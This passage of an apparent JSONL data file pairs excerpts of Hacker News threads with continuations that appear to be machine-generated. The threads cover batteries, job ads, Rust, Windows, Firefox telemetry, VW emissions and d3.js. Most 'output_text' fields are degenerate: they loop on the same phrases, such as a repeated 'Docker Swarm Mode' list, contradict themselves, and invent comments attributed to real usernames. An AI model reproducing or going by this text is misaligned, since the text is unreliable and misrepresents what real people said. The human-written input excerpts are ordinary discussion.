it requires that the original\nimplementation expose everything possible in APIs to be take advantage of"} +{"output_text": "\ncurrent is energy.\n\n------\njrockway\nI'm not sure what the point of this is. The article is about the \"death of\nbatteries\", but the article itself is about the death of the iPod.\n\n~~~\njrockway\nI guess I should have been more specific. The article is about the death of\nthe iPod, but the iPod is not the only thing that is dying.\n\n------\njrockway\nI don't", "input_text": " remember the NiCd and NiMH batteries from a decade ago? I do.\nThose _really sucked_.\n\n~~~\naxod\nBut the advances in battery technology are lame compared to CPU / memory /\ndisk.\n\nIn the last 30 years, we've gone from having a room full of hard disks storing\n32GB, to a memory chip the size of your fingernail storing the same.\n\nIn that same time period, batteries have improved a little bit. I understand\nit's a \"harder\" problem, but it'd really be nice if people were working on it.\n\n~~~\nberntb\n>>but it'd really be nice if people were working on it.\n\nAre you joking?\n\nConsider that electric cars are using similar tech as laptops; there is a\n_lot_ of battery research.\n\n(Google e.g. lithium air, I believe that is the latest great hope for getting\nrid of the oil dependency...)\n\n~~~\naxod\nI'm sure a few people are working on it ;)\n\nIt's just depressing how much batteries suck.\n\nWhy can't we buy AA batteries that last a month constant usage now? Probably\nbecause then we'd buy less batteries, and people are unlikely to buy more\nexpensive batteries.\n\nAnyway, some new startups working to shake things up would be cool IMHO.\n\n~~~\nDaniel_Newby\n50 milliamps for a month is equal to the energy produced by 50 grams of TNT.\n\nOK, so not kilotons, but not something you want to carry around either.\n\n~~~\njrockway\nCurrent isn't energy, so no.\n\n~~~\nDaniel_Newby\nIn the context of a ~1.5 V AA battery (the grandparent comment's lament),"} +{"output_text": " simple way to invest in clean energy projects.\n\nWe are looking for a Director of Legal & Regulatory to join our team in\nMontreal. This is a full-time position with a competitive salary and benefits.\n\nWe are looking for someone with a strong background in law, regulation, and\nfinance. You will be responsible for the legal and regulatory aspects of our\nbusiness, including drafting and reviewing contracts, drafting and reviewing\nlegal documents, and managing our legal team.", "input_text": ". This is truly one of those jobs where you and your\ndevelopers/operations friends can use the tool you operate every single day.\nThe Papertrail stack is largely Ruby, Java, Scala, and MySQL. Lots and lots of\nMySQL. This is your opportunity to come in and lead a small operations team at\na company that is growing every month. Plus, with the backing of Solarwinds\nbehind it, there are no worries about running out of VC funding, or where the\nnext round is coming from. We're a small distributed Ops team where everyone\nwrites code, operating an existing successful business and we're looking for\nthe next piece of the puzzle to collaborate in taking our operations\nengineering to the next level. If this sounds interesting to you, we'd love to\nopen up a conversation about whether we're a good match, setup some interviews\nand a coding test. You can find the contact info above. About the company:\nPapertrail manages billions of log messages for operations-savvy companies.\nPapertrail provides time-saving log tools, flexible system groups, team-wide\naccess, long-term archives, charts and analytics exports, monitoring webhooks,\nand 45-second setup. It's all your logs in one place, and it \"just works\".\nPapertrail is a wholly owned subsidiary of Solarwinds, Inc.\n\n------\npropter_hoc\nCoPower | Director, Legal & Regulatory | Montreal ONSITE |\n[https://copower.me](https://copower.me)\n\nCoPower is a fintech/impact-investing startup that makes it easy to invest for\nprofit and planet. Our investment products are backed by rigorously originated\nloans to energy efficiency and renewable generation project, and our online\nplatform provides a"} +{"output_text": ".\nC/C++), then you can use that to build a web app.\n\n~~~\ngoodlab\nThanks - I think that is a great idea. We are working on a web app right now\nthat will allow you to build a matrix and then run a function on it. We are\nalso working on a web app that will allow you to build a matrix and then\nsubmit it to a function.\n\n------\ngoodlab\nI think the idea is great", "input_text": " - would you vote on bills?

The business model will not be revealed until version 2 so we are not really looking for feedback on that aspect.

Looking forward to hearing from you.\n======\ntogasystems\nGreat idea. Couple of notes (I am running Chrome on Mac)\n\n\\- You have a drop shadow on the main content. However, it does not show up on\nthe bottom, only the top and side.\n\n-on , the checkmark icons are overlapping the font\n\n\\- You button text is being cut off\n\n\\- Is there a reason why you need my entire personal information (address, zip\ncode)\n\nOther than some css fixes, looks good.\n\n~~~\ngoodlab\nThanks - I'll look into the css stuff. Yes - we need the personal info to look\nup your representatives. I guess we could make that more clear. Actually - we\nused to ask more info. Things like profession, ethnicity etc. It helps us when\nreporting aggregate data. No one really complained - we just took it out for\nthe moment until we redo some other things.\n\n------\ngoodlab\nI wonder why this did not show up on the ask part of the site? It was\nsubmitted without a url.\n\n \nIdris - pure functional programming language with dependent types - alrex021\nhttp://idris-lang.org/\n======\nradarsat1\nVery nice, haven't heard of this before. I think an ideal target for a\ndependently typed language is scientific array programming, so that you can\nensure the sizes of your matrix and array operations check out before\nperforming long-running tasks. If a good array library can be built (e.g"} +{"output_text": "ividually).\n\n------\nm0zg\nI'm not sure if this is a good thing or not. I mean, I'm not sure if it's a\ngood thing for Amazon to be able to sell stuff at a loss.\n\n~~~\nm0zg\nI mean, I'm not sure if it's a good thing for Amazon to be able to sell stuff\nat a loss.\n\n~~~\nm0zg\nI mean, I'm not sure if", "input_text": " brick and mortar type of stores are way behind\nthe times. Just some stories on here are horror story level examples of the\nnight and day kind of service you can get in regards to buyer convenience.\n\n------\nblensor\nI have started to fall back to a shopping site run by our postal service [1]\nwhich has been trying for several months through TV ads to get people to use\nthe more regional shopping site rather than Amazon. I guess they could not\nhave hoped for a better scenario than a countrywide lockdown paired with\nshipping delays at Amazon\n\n[1] shoepping.at\n\n------\nradium3d\nPrices on amazon have been way higher than alternatives lately. Be sure to\ncheck other online outlets.\n\n------\njupp0r\nTo any other non-amazon stores out there: have toilet paper in stock and I'll\ngive it a try!\n\n------\ntanilama\nIf Amazon has shipping delay in US, then it is unlikely other smaller shops\ncan fare it better.\n\n~~~\njshevek\nAt the beginning of the pandemic, Amazon was overwhelmed by people panic\nbuying or preparing for shelter in place. The problem was not primarily the\nshipping industry, it was within Amazon. They've since hired large numbers of\npeople and deprioritized [items deemed] non-essential so that people can get\ntheir essential needs in a timely manner.\n\n~~~\nStillBored\nHow does amazon know what is essential?\n\n~~~\njshevek\n_Edit: I thought you said \"determine\" rather than \"know\", answered accordingly\nbelow. Of course they don't \"know\", that's not a helpful question._\n\nThe same way everyone does when trying to solve this problem systemically (vs\nind"} +{"output_text": " but it's not going to last.\n\n~~~\nJumpCrisscross\n> _VR/AR means rather than one story your telling multiple at once._\n\nI'm not sure I follow.\n\n~~~\naaron695\nYou can't tell a story in VR/AR.\n\nYou can tell a story in VR/AR, but you can't tell a story in VR/AR.\n\nYou can't tell a story in VR/AR, but", "input_text": " more features rinse and repeat. There\nwill always be hold outs content with their feature set but there will always\nbe people on the leading edge and it all balances out but this doesn't seem\nlike anything particularly new or novel.\n\n~~~\ndanpalmer\nIn this model the user continues to get bug fixes (and likely new OS support)\neven after their licence expires.\n\n~~~\nnodamage\nBug fixes make sense, but I wonder if it is reasonable to expect/provide\nperpetual OS support based on a single purchase?\n\n~~~\nJumpCrisscross\nHow does one differentiate fixes and feature? For example, suppose a new TLS\nstandard is adopted. This requires work to implement. Is the change a fix or\nan upgrade? Will the team be indefinitely required to issue updates to the old\nTLS?\n\nI like the agenda-pricing concept. But it feels like a poor-man\u2019s compromise\nfor a subscription. Why not permit downloads of an executable any time a sub\nis valid?\n\n~~~\njarfil\nEasy: what's the feature you're selling? Is it \"TLS 1.0\" or \"secure\nconnections\"?\n\n \nImmersive journalism uses VR to insert viewers directly into the story - maxufberg\nhttp://www.psmag.com/nature-and-technology/journalisms-new-reality\n======\naaron695\nAin't going to happen before AI.\n\nAs a 'just so' story think of the radio play 'War of the Worlds' and how hard\nthat is to do in video, then take that again to VR.\n\nVR/AR means rather than one story your telling multiple at once.\n\nThe human hours is just prohibitively expensive.\n\nIt currently pays off because of novelty,"} +{"output_text": "williamw520/rustymem)\n\n~~~\nsteveklabnik\nI'm not sure I'd call it a learning exercise. It's a very small project, and\nit's not really a learning exercise in the sense that you're learning Rust.\n\n~~~\nww520\nI'm not sure what you mean by \"learning exercise\". I'm just learning Rust.\n\n~~~\nsteveklabnik\nI mean that it's a very small", "input_text": " real flavor for it. But the rate\nof change especially to important elements of the language is still too great.\nI don't want to rewrite the code to stay abreast of revs.\n\nNot a critique by any means--I admire the language and the work being done.\nMore of a wish that the core language syntax would settle down soon.\n\n~~~\nsteveklabnik\nTo be clear, the syntax changes in this release were very minor. It's mostly\nthe standard library and runtime that are changing at this time.\n\nThat doesn't mean that your sentiment is wrong; if you don't want to be\nkeeping up with the langauge's changes, certainly don't write projects in\nRust. That said, there are more libraries than you'd expect, including a few\nthat are several thousands of lines.\n\n~~~\ndbaupp\n_> To be clear, the syntax changes in this release were very minor_\n\nYeah, _only_ the _entire_ for loop syntax changed. ;)\n\n~~~\nsteveklabnik\nAnd it was fixable with a regular expression. :)\n\n------\nww520\nRust is pretty good as a language but things are still changing a lot,\nespecially on the library side.\n\nI did a project in Rust as a learning exercise. The language is easy to pick\nand I was able to hit the ground running from the start. The major learning\nhurdle I think is the memory model, which is different from most languages out\nthere.\n\nHere's my first Rust project after two weeks of on and off hacking. It's a\nMemcached client library implementing the Memcached protocols in pure Rust.\n[https://github.com/williamw520/rustymem](https://github.com/"} +{"output_text": "illing to relocate: Yes\n\nTechnologies: Python, Django, Flask, Javascript, React, Vue, Node,\nPostgreSQL, MySQL, AWS, Docker, Ansible, Terraform, Docker, Kubernetes,\nDocker Compose, Docker Swarm, Docker Swarm Mode, Docker Swarm Mode,\nKubernetes, Docker Swarm Mode, Docker Swarm Mode, Docker Swarm Mode,\nKubernetes, Docker Swarm Mode, Kubernetes, Docker", "input_text": " AWS, Rekog, Polly, Fedex, UPS, Craigslist Bulk Posting, Amazon Product API, Twitter, Facebook, Reddit, Clockify, etc...\n - AI/ML: Rekog, Polly, python/NLTK == created image classification to search emails by images in ads.\n - Cloud: Aws/Azure/GCP. Learning Kubernetes/terraform. \n - Serverless: Some small projects, looking to use more in the future.\n - Business: Scrum, Agile, Kanban, Jira, Accelerator (Boom Startup)\n \n\nResume: [https://patrickcurl.com/resume](https://patrickcurl.com/resume)\n\nemail: patrickwcurl (at) gmail.com\n\nCurrently working on an open source (soon to be released) SaaS boostrapper w/\nteams|plans|projects built using laravel+vue+inertiajs+tailwindcss.\n\nI also work 40-50 hours weekly on freelancing work including a modified clone\nof reddit for a community focused site.\n\nI've been working in php/laravel since 2013 and have a number of published\narticles on laravel, linux, vue, etc... at\n[https://medium.com/@patrickcurl](https://medium.com/@patrickcurl)\n\nI'm looking for exciting projects as a developer, product manager, project\nmanager. I'm also open to working as a CTO or consultant for architecture\nplanning or as a mid-level devops.\n\n------\nblaisehorvath\nLocation: Budapest (EU)\n\nRemote: Yes (Only) but kick off meetings, monthly meetings are okay in the EU\n\nW"} +{"output_text": "\n\n\\- Does the boss seem to be a bit of a bully? Does he or she seem to be\nbullying others?\n\n\\- Does the boss seem to be a bit of a control freak? Does he or she seem to\nbe controlling others?\n\n\\- Does the boss seem to be a bit of a micromanager? Does he or she seem to be\nmicromanaging others?\n\n\\- Does the boss seem to be a bit of a know-it", "input_text": " on any team\ncomposed of such antisocial people. Pretty much no one here communicates\neffectively. Cliques are demarcated along racial lines; there Chinese and\nIndian groups don't really talk to each other, and don't \"accept new members\"\nthat don't speak their language.\n\nThis is the loneliest place I'd ever worked. What's surprising is that I never\nthought I could be so lonely at work of all places.\n\nSo, lesson learned: if you aren't allowed to do a meet-and-greet with the team\nbefore accepting an offer, don't even think about taking it!\n\n~~~\nballs187\n> Chinese and Indian groups don't really talk to each other, and don't \"accept\n> new members\" that don't speak their language.\n\nThis is pretty common among both racial groups.\n\nAnd, if we're talking about the US, it was common across pretty much every\nethnic group that emigrated here.\n\n~~~\ndba7dba\nIn this context it's the fault of managers. Sure racial lines exist but such\nhostility should not be allowed to exist by management.\n\n------\ngrandalf\nBosses can fall short in a lot of ways. While your intuitions might clue you\nin to some failings, others are very difficult to spot. My advice would be:\n\n\\- Do the others on the team seem happy? Did you get to meet any during the\ninterview process? Do they seem to be happy to work there and comfortable in\nthe environment?\n\n\\- Does everyone seem to get quiet or smile officiously around the boss?\nThat's a big warning sign. It probably means the boss is a bit of a tyrant or\nmaintains an unhealthy power differential with the team."} +{"output_text": " this\nmoment I'm not sure if disabling C6 state on package (or was it core?) is an\neffective workaround._\n\nI don't know if it's effective, but it's a workaround.\n\n------\njedberg\nI'm really excited about this. I've been waiting for this for a long time.\n\n------\njedberg\nI'm really excited about this. I've been waiting for this for a long time.\n\n------\nj", "input_text": " and big die sizes, for AMD, it is\njust a way to make an additional $10-$20 per CPU sale.\n\nChipsetless setup should allow for smaller motherboards with better POL setup.\n\n------\nshmerl\nSo what's the best upgrade path from 1700X, 2700 or 2700X? 2700X sounds more\nlike an upgrade from 1800X.\n\n~~~\nTwoNineA\nWhy do you want to upgrade the 1700X? What does the 2000 line bring other than\na 15% (being very optimistic) performance gain?\n\n~~~\nshmerl\nPersonally, because my CPU has a hardware bug[1], which is now worked around\nby disabling package C6 state, and I already went through RMA for the segfault\nbug, so I'd rather now get a newer CPU to begin with.\n\n[1]:\n[https://bugzilla.kernel.org/show_bug.cgi?id=196683](https://bugzilla.kernel.org/show_bug.cgi?id=196683)\n\n~~~\nIronBacon\nI think I've read locks/hangs' reports even with newer APUs, and at this\nmoment I'm not sure if disabling C6 state on package (or was it core?) is an\neffective workaround.\n\nOr the suggestion to slightly increase voltage or a light overclock.\n\nI wanted to upgrade to Ryzen but I don't want to spend time to troubleshoot\nthe HW. Seems like it's only triggered on a BSD/Linux system, don't know if\nthey were joking when they said that Windos is never that idle...\n\n~~~\nshmerl\n_> I think I've read locks/hangs' reports even with newer APUs, and at"} +{"output_text": "\n\n~~~\nmattzito\nI don't think that's a good idea.\n\nIf you're a VC, you're investing in a company that you believe has a chance of\nsuccess. If you're a founder, you're investing in a company that you believe\nhas a chance of success.\n\nIf you're a VC, you're investing in a company that you believe has a chance of\nsuccess. If you're a founder, you're investing in a", "input_text": " top 10% of\nthe deals vastly reduces your chance of having a decent return.\n\n~~~\nbackprojection\nWhat if, rather than offering equity, crowdfunders got voting rights instead.\nI feel that most of the outrage from the Oculus deal is that people feel\nbetrayed. They could almost not have picked a worse outfit to have been bought\nby (rightly or wrongly, the point here is sentiment). If there had been a\nshareholder-esque vote, I think it's unlikely the deal would have been\napproved.\n\nSo maybe that could be the deal going forward - sure I'll put up $100 to fund\nyour project, but that comes at the cost of you not selling out in the future.\n\nEDIT: Clearly the weight of your vote would be proportional to your\ninvestment.\n\n~~~\nmattzito\nThis would be disastrous for startups - for $100 you get a say in what we do?\n\nHow deep does that go? Change of control events? That would basically mean\nthat a startup would have to disclose that they were in negotiations for\nacquisition/investment/whatever, with whom, and for how much. That would\nbasically mean potential acquisitions would become public knowledge - it's\nhard enough keeping them quiet when it's just the startup, their investors,\nand the acquirer involved.\n\n~~~\nbackprojection\nWell your vote would be proportional to your investment, $100 out of $2.4M, in\nthis case.\n\n> That would basically mean potential acquisitions would become public\n> knowledge\n\nThat would kind of be the point, it would be about fairness. People may not\nwant to invest in a promising project that could change the world, just for it\nto be bought up by the next FB/Google."} +{"output_text": " to the bottom of the page.\n[http://hn.premii.com/app](http://hn.premii.com/app)\n\n------\njameszhao00\nI'm not sure if this is a bug or not, but when I click on the \"rainy day\"\nbutton, the page scrolls to the top.\n\n~~~\nfudged71\nI think it's a bug. I'm not sure if it's a bug", "input_text": "/rainyday.js/demo012_3.html)\n\n~~~\nstarbugstone\nThat patch of blue sky on the right doesn't feel quite right and takes the\nrealism out of it a bit.\n\nI know, just me being fussy. Impressive use of canvas though, it could be\nreally nice as an appeasing background image on a site. Using the navigator\ngeolocalisation and a weather site we could have a weather sensitive site.\nHave to test resource wise and see.\n\n------\njameszhao00\nLooks pretty cool but the heavy aliasing is a bit distracting.\n\n~~~\nfudged71\nYeah, I mostly see blinking pixels. Maybe it is better on a retina display.\n\n~~~\nTheSpiceIsLife\nVery convincing on Retina display from two feet or more.\n\n------\nTD-Linux\nThis is more impressive than I first thought... I wiped my screen, thinking I\nhad sneezed on it.\n\n------\nseanica\nPress F11 then refresh. Reminds of screensavers I wrote in the 90s/early\n2000s. Very nice.\n\n------\npiratebroadcast\nI'm finally getting pretty comfortable with Rails, HTML, CSS, enough to\nactually use things like this. Can anyone recommend slick/good looking js like\nthis that would be fun to toy with?\n\n~~~\nthekingshorses\nYou can try it out my hacker news web app for mobile.\n[http://hn.premii.com](http://hn.premii.com)\n\nSource code at [http://github.com/premii/hn](http://github.com/premii/hn) Or\nThis is another awesome HN app. Scroll down"} +{"output_text": " mention are all things that can be done with a registry edit.\n\n~~~\npoisonborz\nI'm not sure if you are being sarcastic, but I'm not sure if you are aware of\nthe fact that Windows 10 is a huge pile of crap.\n\n~~~\ndevwastaken\nI'm not being sarcastic. I'm being serious.\n\n------\njosteink\nI\u2019m not sure if I\u2019m missing something, but I\u2019", "input_text": " to stay connected to what is, for that generation, a normal life.\n\n------\nviraptor\n> but the truth is that the built-in antimalware protection in Windows is\n> simply horrible (according to various AV comparisons, Microsoft Essentials\n> misses over 20% of in-the-wild malware)\n\nAV comparisons have to be normally taken with a pile of salt. There's rarely\nan independent one. And even once you start looking at 3rd parties, it turns\nout they enable attack surface on their own. Then there's a number of 3rd\nparties which rely on cloud scanning aka \"submit it to virustotal\".\n\nHere's some more context for why the comparisons are tricky: [https://www.mrg-\neffitas.com/research/stop-using-virustotal-t...](https://www.mrg-\neffitas.com/research/stop-using-virustotal-to-measure-how-av-sucks/)\n\n------\npoisonborz\nAt this point I'm not sure that a desktop OS with this wide hardware\ncompatibility and backwards compatibility can be written any better than\nWindows 10.\n\nThe thing is, if you are an experienced user with willingness to search for\nsolutions, you can fix most of the problems. Disable updates completely,\ndisable cortana, stop 99% of the telemetry, use alternative utilities instead\nof the built-in ones, fix security issues with network rules etc.\n\nIt takes time and patience, but in the end you get a good work environment\nthat is relatively stable, compatible with literally every hardware and also\nhas the absolutely widest selection of software available. That is all I want\nfrom an OS.\n\n~~~\ndevwastaken\nThe fixes you"} +{"output_text": "'s meant to be a stable, secure, and reliable\nbrowser.\n\nI'm not sure how they can make it clear, but I'm sure they will.\n\n~~~\njosteink\n> It's not meant to have the \"latest greatest\"\n\nIt's not meant to have the \"latest greatest\" at all.\n\nIt's meant to be a stable, secure, and reliable browser.\n\nIt's not meant to be a \"latest greatest\" browser", "input_text": " a little. Counterpoint: only god knows what Google is sending itself\nfrom Chrome!\n\n~~~\nnallerooth\nThe difference here is that you expect Google to collect -a lot- of data about\nyou and your browsing habits. You can also be quite sure that they'll want to\nkeep that data to themselves.\n\nWhen my data ends up at a third party, especially without my knowledge, I'm\nmuch more concerned about it being sold and or shared further.\n\n~~~\ngeofft\n> _When my data ends up at a third party, especially without my knowledge, I\n>'m much more concerned about it being sold and or shared further._\n\nAs stated in the mailing list thread linked in the article, Mozilla has a\nlegal agreement with Cloudflare that the data will not be stored long-term,\nlet alone sold or shared. My reading is that they're keeping information about\nDNS requests and responses, but _not_ who made the request, for 24 hours for\ndebugging purposes, and then getting rid of all logs. The data they're\nactually interested in is performance, not the DNS flow itself.\n\nYou're welcome to decide that Mozilla's trust in other companies is misplaced\neven if they get a signed contract, and if you do, _that_ would be a good\nreason to cease using Firefox (Nightly or otherwise!). But if you're not of\nthat opinion, it doesn't make sense to worry that the data simply happens to\ngo through a third party.\n\n(Also, what third parties see your DNS data today? Do you think your ISP is\nnot tracking this?)\n\n------\nr00fus\nI'm ok as long as they make it _up front and clear_. It's not meant to have\nthe \"latest greatest\" \\- it"} +{"output_text": " evidence\".\n\n~~~\nbandushrew\nI am not incorrect. I am just not understanding how parallel construction\nwould have helped in this case.\n\n~~~\ntptacek\nYou're not understanding how parallel construction works.\n\n~~~\nbandushrew\nI am not understanding how parallel construction would have helped in this\ncase.\n\n~~~\ntptacek\nYou're not understanding how parallel construction works.\n\n~~~\nbandushrew\nI am", "input_text": " agency budgeting justification.\n\n~~~\nsaraid216\n> That is a complete non sequitur.\n\nAgreed. I'm not remotely a fan of the war on drugs or its consequences for the\nprison-industrial complex or the militarization of the police.\n\nThe real root is really shitty legislation based on shitty moralizations based\non shitty philosophical grounds, the absurd nature of how the police are\nfunded, and the ridiculous political reality of law enforcement offices. It's\nsuch a multifaceted problem that I'm unwilling to try to tackle it myself.\n\nBut all of this was just a handy example for why wishing for an \"empirical\ninvestigation\" is not necessarily the right way to go about things.\n\n------\nXeroday\nI wonder how much of this was actually parallel reconstruction vs\n\"investigative research\"\n\n~~~\ntptacek\nHow exactly would parallel construction have helped here? To effect a search,\nwith or without \"parallel construction\", you have to have probable cause.\n\n~~~\nbandushrew\nthe entire _point_ of parallel construction is to construct a legal\nexplanation for the presence of data needed for the conviction.\n\nie, I would use illegal means to obtain proof that you have convicted a crime,\nthen I would use parallel construction to provide a legal explanation for how\nI obtained the proof.\n\niee, parallel construction is what they use when they did not have probable\ncause.\n\nI am having trouble believing that you do not understand that? what am I\nmissing?\n\n~~~\ntptacek\nYou're having trouble because you are incorrect about how parallel\nconstruction works. Parallel construction is not the Orwellian term for simply\n\"coming up with a bullshit story about where you got your"} +{"output_text": ".\n\nI think the fact that we have a computer science degree is a good thing. It\nmeans that we have a way to teach people how to program. It also means that\nwe have a way to teach people how to think.\n\nI think that the fact that we have a computer science degree is a good thing.\n\n~~~\nsuperduperuser\nI agree with you. I think that the fact that we have a computer science degree\nis a good thing", "input_text": "u\nI think community colleges are great, and if you can get one on one\ninstruction anywhere it is fantastic. The challenge is that bootcamps are\nreally designed for people who are changing careers. Which means they have\nalready gone through college or actively working. So it becomes an issue\nbecause they are reliant on income to survive and they aren't living with\ntheir parents.\n\nBasically it's unplanned and so much harder to able to commit two years.\n\nCertainly do-able, but challenging when you are thinking of it from a consumer\nperspective. Spend two years working towards a career shift or get it done in\n6 months.\n\nMaybe community colleges can do a better job of marketing themselves.\n\nBut ultimately I think the fact that computer science isn't a requirement in\nall education is criminal. We study \"Math\" and \"English\" in school. \"Computer\nScience\" is the equivalent of math 100 years ago, it needs to be a mandated\nrequirement.\n\n~~~\nsuperduperuser\n\"\" Computer Science\" is the equivalent of math 100 years ago...\"\n\nWould mind expanding on that?\n\n~~~\nraiyu\nYou can't live in the modern world today without understanding math.\n\nYou also can't live in the modern world without language and the ability to\ncommunicate.\n\nTo me math is a language. Different than our verbal languages, but it is still\na language none the less and essential.\n\nProgramming to me is also a language. And it is as essential today as math was\noriginally. There was a long period of history where lower economic classes\nwere prevented from learning and educating themselves and the fact that we\nhave education that is subsidized by the government to various levels in all\nmajor countries is something that we take for granted"} +{"output_text": ".js and was blown away by how easy it was to\ncreate a chart. I've been using it to create a few charts for my own projects\nand I'm really impressed.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\n~~~\nmrb\nThe point is that the bitcoin economy is growing fast, and that it's growing\nfast because of the bitcoin economy.\n\n~~~\njoshu\nI don't", "input_text": ", but I guess money finds a way, even when it's\nbitcoin.\n\n~~~\nmrb\nThat is correct. ASICMINER went through an informal IPO, selling at the time\nthe equivalent of $200k or so of shares. With these funds plus the project's\ncreators own investments, they designed a custom 130nm ASIC.\n\n\n------\ntmflannery\nThe article talks about crowd processing eliminating falsified balances, but\nit doesn't go into some exchanges getting hacked. Hasn't that been a security\nconcern? Haven't people lost money that way? I know my credit card numbers can\nget stolen, is that the right comparison? Do exchanges just make you whole?\n\n------\nRustyRussell\n\"The bitcon economy is growing fast.\"\n\nPerhaps it is, but don't think it's what you meant :)\n\n~~~\nalphydan\nthanks for the typo notice. I really hope that's not what it becomes... but\nwho knows? :)\n\n \n\nBuild An Animated Chart In 19 Lines Of Code With d3.js - louischatriot\nhttp://needforair.com/blog/2012/05/09/d3-tutorial/\n\n======\nTwistedWeasel\nI've been learning d3.js myself lately, and i'm very impressed. As it's\npopularity increases it's worth reading this article from Mike Bostock, the\ncreator of d3 proposing some conventions to follow when building charts with\nd3...\n\n\n\n------\najtulloch\nA few months ago I learned d3"} +{"output_text": ".\n\n------\njoshstrange\nI've been using this for a while now and it's been great. I've been using it\nto delete files that I don't need anymore but I've also been using it to\ndelete files that I don't want to delete but I don't want to keep around\nforever. I've been using it to delete files that I don't want to delete but\nI'm not sure if I want to delete them or not.", "input_text": "rather \"files canonically being on small/fast media, and then migrating to\nslower media when you stop caring about them, as if a garbage-collection pass\nhad occurred, leaving your disk with more space.\" Basically, HSM should do\nautomatically what people do manually when they e.g. burn files to optical\ndisks to clear up space.\n\n------\ndrhayes9\nFor easy-to-use OSX automation I'm a big fan of Hazel:\n[http://www.noodlesoft.com/hazel.php](http://www.noodlesoft.com/hazel.php)\n\nI bet you could set up something similar in it.\n\n------\nkolev\nThis is a pretty good idea. Add the ability to tag a file/files with TTL from\nthe CLI as well.\n\nSource code: [https://github.com/tdlm/os-x-self-\ndestruct](https://github.com/tdlm/os-x-self-destruct)\n\n~~~\nscott_karana\n> Add the ability to tag a file/files with TTL from the CLI as well.\n\nYou can use the OS's standard facilities to do what you want: see `xattr` and\n`mdfind`.[1] There's also `tag`[2]\n\n \n \n 1 http://apple.stackexchange.com/questions/93979/are-the-osx-mavericks-tags-visible-from-the-command-line\n 2 https://github.com/jdberry/tag\n\n~~~\nkolev\nI'm using tag, too, but it's in C, so, I suggested xattr to the author"} +{"output_text": " you're looking in the wrong place?\n\n~~~\nrats\nI'm looking at the front page. I'm not sure what you mean by \"the front page\".\n\n~~~\nlucideer\nThe front page is the first page of the front page.\n\n~~~\nrats\nI'm not sure what you mean by \"the front page\".\n\n~~~\nlucideer\nThe front page is the first page of the front page.\n\n------\n", "input_text": " a bit violent (for lack of a better word), the way the content swings\ninto place very non-subtly. I would dump all of that effect, it doesn't appear\nto actually serve any purpose - other than to be flashy - and makes it much\nharder to just read about TrackReddit.\n\n------\npapa_bear\nPretty cool, just signed up. Like everyone else said, I'd probably change the\nlink to direct to your normal landing page. Also, the animations are pretty\njarring on the landing page, especially if I try to jump to a section before\nI've been there. This is one of those times that I think just removing all the\nanimations would be a big help.\n\n------\nhighace\nGreat, but what happens if Reddit changes their API or SLA, or just plain\nshuts you out? Business = poof.\n\n~~~\nandreasklinger\nIsn't this true for pretty much any media analytics tool?\n\n------\nharryf\nInteresting but \"Tracker must be at least 5 characters long\" is a bit of a\nproblem. How to track something like \"Yo\" for the Yo App or \"Gaza\" for the\ncurrent unrest there?\n\n------\nfogleman\nNo clue what I'm looking at. ios, appletv, ipod?\n\n------\nrats\nTried to search for the mentions of \"Coub\", it tells me that search term\nshould be at least 5 characters. Oh dear.\n\n \nAsk HN: Why is there so little programming related content on HN? - MichaelMoser123\nIs the profession getting stale or boring?\n======\nlucideer\nAs someone who browses here most days, it seems packed full of programming\nrelated content. Perhaps"} +{"output_text": " none of them got mad and told someone outside the company.\n\nI don't know the answer to your question, but I do know that VW has a\ncomprehensive emissions testing program, and that it is very thorough.\n\nI also know that VW has a very large number of engineers, and that they are\nvery thorough.\n\nI also know that VW has a very large number of managers, and that they are\nvery thorough.\n\nI also", "input_text": "chell manuals.\n\n(The only reason so many smog shops only buy the Motor publications is because\nthey are cheap. Any Smog technician will tell you they have found multiple\nerrors in Motor Emission Publications. Vechicle owners don't have a clue to\nthis problem, and are just sent home with a failed Smog test, or end up\nspending a day taking to CARB--just praying they will get an exemption. All of\nthis is due to errors in Motor Emission Publications.)\n\n------\nharryh\nTwo things that are surprising to me about this story:\n\n1) The secret was kept for so long. How many programmers were involved with\nthe relevant code? How many project managers signed off on it? Surely VW does\nits own emissions testing internally so some of them must have known. How high\nup in management did this go? It seems like it must have been quite a few.\nAmazing that none of them got mad and told someone outside the company.\n\n2) I would never have guessed that emissions from a car engine could vary so\nwidely. 20%? Sure. 50%? Sure. But news outlets are reporting that these cars\nare emitting at least 10x and possibly as much as 40x NOx as they should. This\nis clearly because of my ignorance of the details of the engineering here, but\nI was shocked that such a difference could happen.\n\n~~~\nhackuser\n> The secret was kept for so long. How many programmers were involved with the\n> relevant code? How many project managers signed off on it? Surely VW does\n> its own emissions testing internally so some of them must have known. How\n> high up in management did this go? It seems like it must have been quite a\n> few. Amazing that"} +{"output_text": "\nwebsite.\n\n[http://www.aircanada.ca/en/airports/montreal/airport-\ninformation...](http://www.aircanada.ca/en/airports/montreal/airport-\ninformation/flight-information/flight-information-display-flight-\ninformation.html)\n\n~~~\nswah\nThanks for the tip.\n\n------\njoezydeco\nI'm not sure if this is", "input_text": "Because of a lack of professional quality games. That\u2019s not a inherent problem\nwith Linux and I never claimed there to be one (I honestly don\u2019t know whether\nthere is one).\n\n~~~\ncode_duck\nThere might be issues with sound subsystems across distributions (or um..\nwithin distributions), but games on Linux perform quite well and are\nindistinguishable from other platforms (I spent a good bit of time playing UT\n2003 on Linux, and it works perfectly).\n\n------\nswah\nI don't understand, why is this program valuable to be open-source? What does\nit do?\n\n \nAsk HN: Why did I get printed the wrong boarding pass? - passenger09\nI took a flight from Montreal to Frankfurt.\nToday i checked my printed boarding pass (apparently the first time) and noticed it is completely wrong.

things which seems to be in common:\nFlight number: AC 8742 (printed flight)\n AC 874 (my flight)

levenshtein distance of printed name: 12, m = 15, n = 12

boarding pass: https://imgur.com/56ZRhOI

Seems like the only thing in common is that the boarding passes where probably printed at the same time.

Any suggestions what can possibly go wrong when a computer system prints a boarding pass, based on \nthe scanned passport?

